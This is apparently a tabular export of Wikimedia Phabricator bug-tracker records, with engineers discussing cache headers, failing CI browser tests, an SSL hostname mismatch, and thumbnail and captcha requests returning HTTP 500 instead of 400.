+[[https://gerrit.wikimedia.org/r/190945]]",,,1424125652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+412414,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190945 had a related patch set uploaded (by Catrope):
+Fix URL comparison used for cacheability decision
+
+[[https://gerrit.wikimedia.org/r/190945]]
+
+#patch-for-review",,,1424125274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+412398,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190937 merged by jenkins-bot:
+Fix URL comparison used for cacheability decision
+
+[[https://gerrit.wikimedia.org/r/190937]]",,,1424123338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+412397,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190937 had a related patch set uploaded (by Catrope):
+Fix URL comparison used for cacheability decision
+
+[[https://gerrit.wikimedia.org/r/190937]]
+
+#patch-for-review",,,1424122955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+412392,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190853 merged by jenkins-bot:
+Fix URL comparison used for cacheability decision
+
+[[https://gerrit.wikimedia.org/r/190853]]",,,1424122591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+412352,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190853 had a related patch set uploaded (by Catrope):
+Fix URL comparison used for cacheability decision
+
+[[https://gerrit.wikimedia.org/r/190853]]
+
+#patch-for-review",,,1424118671,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-exp5eiewwdrzilz3u4wd,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+89272,UploadWizard API tests failing on beta Commons due to login problem,"https://integration.wikimedia.org/ci/job/UploadWizard-api-commons.wikimedia.beta.wmflabs.org/buildTimeTrend
+
+The error is
+```
+error: username and password required. Pass these values with the corresponding flags or set the env variables: MEDIAWIKI_USER and MEDIAWIKI_PASSWORD or MEDIAWIKI_PASSWORD_VARIABLE (points to env var with password value)
+```
+
+They also take a lot longer recently than they used to.
+",Medium,50.0,1423679828,1446480858.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-3juv26cmcwe2vtfweic3,task_description,resolved,True,c3,1,True,False,False,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+556453,UploadWizard API tests failing on beta Commons due to login problem,"The job is green now, resolving. Please reopen if needed.",,,1446480858,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-3juv26cmcwe2vtfweic3,task_subcomment,,True,c3,3,True,,,17,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+89244,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"The browser tests https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-sandbox.translatewiki.net-linux-firefox-sauce/ keeps failing because:
+
+```
+mw-api-siteinfo.py http://sandbox.translatewiki.net/w/api.php git_branch
+requests.exceptions.SSLError: hostname 'sandbox.translatewiki.net' doesn't match 'translatewiki.net'
+```
+",Medium,50.0,1423665922,1424448955.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-TASK-kvtecjvysogeyldjnsm3,task_description,resolved,True,c3,1,True,False,True,-21,True,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1
+414826,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),Great! thank you Amir :-],,,1424449256,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+414825,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"Yes, I removed it until I'll fix it.",,,1424448955,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+414803,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),@Amire80 any thought about dropping the browser tests hitting sandbox.translatewiki.net?  I think I have seen commit to get rid of them.,,,1424447455,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-19,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,0
+410149,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"I would say drop the tests, but I hope Amir will comment as he has been the contact person for tests in our team.",,,1423688084,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+410139,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),"Should we get rid of the https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-sandbox.translatewiki.net-linux-firefox-sauce/ browser test job so?
+
+We also have one [[ https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-language-browsertests.wmflabs.org-linux-firefox-sauce/443/ | hitting language-browsertests.wmflabs.org ]] but it is failing because a 500 internal server error.
+
+The one [[ https://integration.wikimedia.org/ci/job/browsertests-UniversalLanguageSelector-commons.wikimedia.beta.wmflabs.org-linux-firefox-sauce/ | on commons.wikimedia.beta.wmflabs.org ]] pass fine. I guess that is the only one we should keep.
+
+",,,1423686676,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+409908,Browser test for sandbox.translatewiki.net fails because of a SSL host mismatch (cert has 'translatewiki.net'),We might do a star cert next time we need to renew it. But I'd also like these tests migrated away from translatewiki.net server.,,,1423667603,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-kvtecjvysogeyldjnsm3,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+88970,"bogus captchaid results in http 500, should be http 400 instead","hi,
+see also T88412 for more context, it seems bogus captchaid yield http 500 back to the client whereas returning some flavor of http 400 would be more correct:
+
+```
+erbium:~$ grep  miss/50 /a/log/webrequest/sampled-1000.tsv.log | grep Captcha | uniq -f2 -w16 -c | awk '{print $1 "" "" $4 "" "" $9 "" "" $10}'
+1 2015-02-09T06:43:25 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1821936605
+4 2015-02-09T07:10:19 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=399458500
+1 2015-02-09T07:25:45 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=950331796
+1 2015-02-09T07:30:36 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=457819367
+2 2015-02-09T08:36:32 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1787180145
+2 2015-02-09T08:53:15 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=675749755
+2 2015-02-09T09:01:54 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1360792335
+2 2015-02-09T09:14:31 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1274562332
+1 2015-02-09T09:29:18 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=394009108
+1 2015-02-09T09:36:44 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=2111699485
+1 2015-02-09T09:47:19 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=2118419926
+1 2015-02-09T09:54:15 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=477299702
+2 2015-02-09T10:11:54 GET http://de.wikipedia.org/w/index.php?title=Spezial%3ACaptcha%2Fimage&wpCaptchaId=1263614379
+```",Medium,50.0,1423477432,1426666025.0,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-tr2g4cy4gzmiepdwmdet,task_description,duplicate,True,c3,1,True,False,True,-21,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,1
+88412,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","looking at the sampled logs on erbium it seems we're throwing http 500s regularly when generating thumbs, most errors seem due to the wrong size being requested that would result in upscaling the image.
+
+I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?
+
+```
+erbium:~$ grep  miss/50 /a/log/webrequest/sampled-1000.tsv.log | uniq -f2 -w16 -c | awk '{print $1 "" "" $4 "" "" $9 "" "" $10}'
+6 2015-02-03T06:26:29 GET http://upload.wikimedia.org/wikipedia/el/thumb/9/9e/%CE%A0%CE%B1%CF%81%CE%B1%CE%BC%CE%B5%CE%BB%CE%B7%CE%BC%CE%AD%CE%BD%CE%B7_%CE%9F%CF%85%CF%81%CE%B9%CE%BA%CE%AE_%CE%B1%CF%81%CE%B8%CF%81%CE%AF%CF%84%CE%B9%CF%82_%CE%A7%CE%B5%CF%81%CE%B9%CF%8E%CE%BD.JPG/1032px-%CE%A0%CE%B1%CF%81%CE%B1%CE%BC%CE%B5%CE%BB%CE%B7%CE%BC%CE%AD%CE%BD%CE%B7_%CE%9F%CF%85%CF%81%CE%B9%CE%BA%CE%AE_%CE%B1%CF%81%CE%B8%CF%81%CE%AF%CF%84%CE%B9%CF%82_%CE%A7%CE%B5%CF%81%CE%B9%CF%8E%CE%BD.JPG
+19 2015-02-03T06:30:14 GET http://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/Commons-logo.svg/36px-Commons-logo.svg.png%202x""%20data-file-width=""1024""%20data-file-height=""1376""%20/></a>%20<b><span%20class=""plainlinks""><a%20class=""external%20text""%20href=""http:/lookup-api.apple.com.edgesuite.net/commons.wikimedia.org/wiki/?uselang=it"">Commons</a></span></b>
+7 2015-02-03T06:40:19 GET http://upload.wikimedia.org/wikipedia/en/thumb/6/6f/Vathikuchi.jpg/402px-Vathikuchi.jpg
+10 2015-02-03T06:51:42 GET http://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Valencia01_11-2-03.JPG/794px-Valencia01_11-2-03.JPG
+7 2015-02-03T07:00:14 GET http://upload.wikimedia.org/wikipedia/en/thumb/9/9e/Koli_tree_near_Panamaram_fort_site.JPG/1024px-Koli_tree_near_Panamaram_fort_site.JPG
+13 2015-02-03T07:10:25 GET http://upload.wikimedia.org/wikipedia/ja/thumb/9/95/%E3%83%88%E3%82%B3%E3%82%B8%E3%83%A9%E3%83%9F_%E6%8A%9C%E3%81%91%E6%AE%BB.JPG/640px-%E3%83%88%E3%82%B3%E3%82%B8%E3%83%A9%E3%83%9F_%E6%8A%9C%E3%81%91%E6%AE%BB.JPG
+14 2015-02-03T07:21:22 GET http://upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/8px-Opentail_g.svg.png""%20width=""8""%20height=""14""%20srcset=""http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/12px-Opentail_g.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/6/61/Opentail_g.svg/16px-Opentail_g.svg.png%202x""%20data-file-width=""115""%20data-file-height=""196""%20/></a>
+10 2015-02-03T07:30:50 GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fa/Flag_of_the_People%27s_Republic_of_China.svg/35px-Flag_of_the_People%27s_Republic_of_China.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/f/fa/Flag_of_the_People%27s_Republic_of_China.svg/45px-Flag_of_the_People%27s_Republic_of_China.svg.png%202x""%20data-file-width=""900""%20data-file-height=""600""%20/>&
+11 2015-02-03T07:40:05 GET http://upload.wikimedia.org/wikipedia/commons/thumb/2/23/Casino_slots2.jpg/
+18 2015-02-03T07:50:32 GET http://upload.wikimedia.org/wikipedia/commons/thumb/c/c9/Laos.Visa.JPG/1005px-Laos.Visa.JPG
+15 2015-02-03T08:00:36 GET http://upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Fairytale_bookmark_silver.svg/21px-Fairytale_bookmark_silver.svg.png%201.5x,%20http:/lookup-api.apple.com.edgesuite.net/upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Fairytale_bookmark_silver.svg/28px-Fairytale_bookmark_silver.svg.png%202x""%20data-file-width=""100""%20data-file-height=""100""%20/></span>%20<i><a%20href=""/wiki/L%27Illusion_comique_(t%C3%A9l%C3%A9film)""%20title=""L
+9 2015-02-03T08:11:23 GET http://upload.wikimedia.org/wikipedia/commons/thumb/8/88/WIN31SOD.JPG/816px-WIN31SOD.JPG
+11 2015-02-03T08:20:25 GET http://upload.wikimedia.org/wikipedia/commons/thumb/9/9d/Warszawa%2C_Pa%C5%82ac_Kultury_i_Nauki_-_26.11.2009_r..JPG/728px-Warszawa%2C_Pa%C5%82ac_Kultury_i_Nauki_-_26.11.2009_r..JPG
+15 2015-02-03T08:30:00 GET http://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Torre_de_Belem_1.JPG/1024px-Torre_de_Belem_1.JPG
+20 2015-02-03T08:40:03 GET http://upload.wikimedia.org/wikipedia/commons/thumb/0/0e/TRON_9-9145.gif/16px-TRON_9-9145.gif
+22 2015-02-03T08:50:08 GET http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292
+18 2015-02-03T09:01:52 GET http://upload.wikimedia.org/wikipedia/en/thumb/6/6f/Vathikuchi.jpg/402px-Vathikuchi.jpg
+23 2015-02-03T09:11:18 GET http://upload.wikimedia.org/wikipedia/commons/thumb/b/b3/2005_Pebble_Beach_Concours_Bertone.PNG/466px-2005_Pebble_Beach_Concours_Bertone.PNG
+19 2015-02-03T09:20:28 GET http://upload.wikimedia.org/wikipedia/en/thumb/4/49/ImamRezaHospital.JPG/800px-ImamRezaHospital.JPG
+10 2015-02-03T09:30:18 GET http://upload.wikimedia.org/wikipedia/en/thumb/2/2e/Wine_TV.PNG/96px-Wine_TV.PNG
+",Medium,50.0,1422956435,1423681860.0,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-USER-papbtlagfolot4dzerne,False,PHID-TASK-6hmkyekk2jumbv7au4rx,task_description,resolved,True,c3,1,True,False,True,-22,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+410086,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Great! I missed that. Sounds like this is completely done, then.",,,1423681860,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+410046,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1030703, @Gilles wrote:
+> Should we also change the 500 happening when people request a larger (or equal) size than the original to a 400?
+
+I think that's covered by line 334 of the patch.",,,1423678585,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+409778,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",Should we also change the 500 happening when people request a larger (or equal) size than the original to a 400?,,,1423659293,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,0
+409120,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Change 188710 merged by jenkins-bot:
+Make thumb.php respond with HTTP 400 (not 500) on invalid parameters
+
+[[https://gerrit.wikimedia.org/r/188710]]",,,1423556989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+407396,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1017533, @fgiunchedi wrote:
+> what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict
+
+#MediaWiki-extensions-ConfirmEdit , I think.",,,1423163824,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,1
+407395,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1017533, @fgiunchedi wrote:
+> what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict
+
+#ConfirmEdit, I think.",,,1423163786,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,1
+407122,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500",">>! In T88412#1016386, @Tgr wrote:
+>> I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?
+> 
+> There are three kinds of errors in the logs you pasted: 
+
+indeed that was conflating several issues, I failed to point out the emphasis which was on the number of hits per 10-min bucket. The log above is also really a summary and there might be more failure cases hidden.
+
+> # requesting a captcha with a bogus id ([[ http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292 | link ]]) - this is probably via the FancyCaptcha extension and should be a separate bug
+> # requesting a bigger image (or, in some cases, the same size) as the source (`$thumb->fileIsSource()` check in `thumb.php`)
+> # garbage in query string - `wfThumbError(400, ...)` is called in `thumb.php` but the error still ends up to be 500.
+
+
+what's the best phab project to report #1? I haven't paid much attention to other issues beside   #2 to be honest since those were the majority afaict",,,1423133242,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-21,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+406916,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","Change 188710 had a related patch set uploaded (by Gergő Tisza):
+Make thumb.php respond with HTTP 400 (not 500) on invalid parameters
+
+[[https://gerrit.wikimedia.org/r/188710]]
+
+#patch-for-review",,,1423096117,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+406887,"Errors when generating thumbnails should result in HTTP 400, not HTTP 500","> I'm sure this is known already but it'd seem more logical for such errors to return a 400 to the client since it isn't strictly the server's fault, what do you think?
+
+There are three kinds of errors in the logs you pasted: 
+
+# requesting a captcha with a bogus id ([[ http://it.wikipedia.org/w/index.php?title=Speciale:Captcha/image&wpCaptchaId=160756292 | link ]]) - this is probably via the FancyCaptcha extension and should be a separate bug
+# requesting a bigger image (or, in some cases, the same size) as the source (`$thumb->fileIsSource()` check in `thumb.php`)
+# garbage in query string - `wfThumbError(400, ...)` is called in `thumb.php` but the error still ends up to be 500.",,,1423093234,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-6hmkyekk2jumbv7au4rx,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
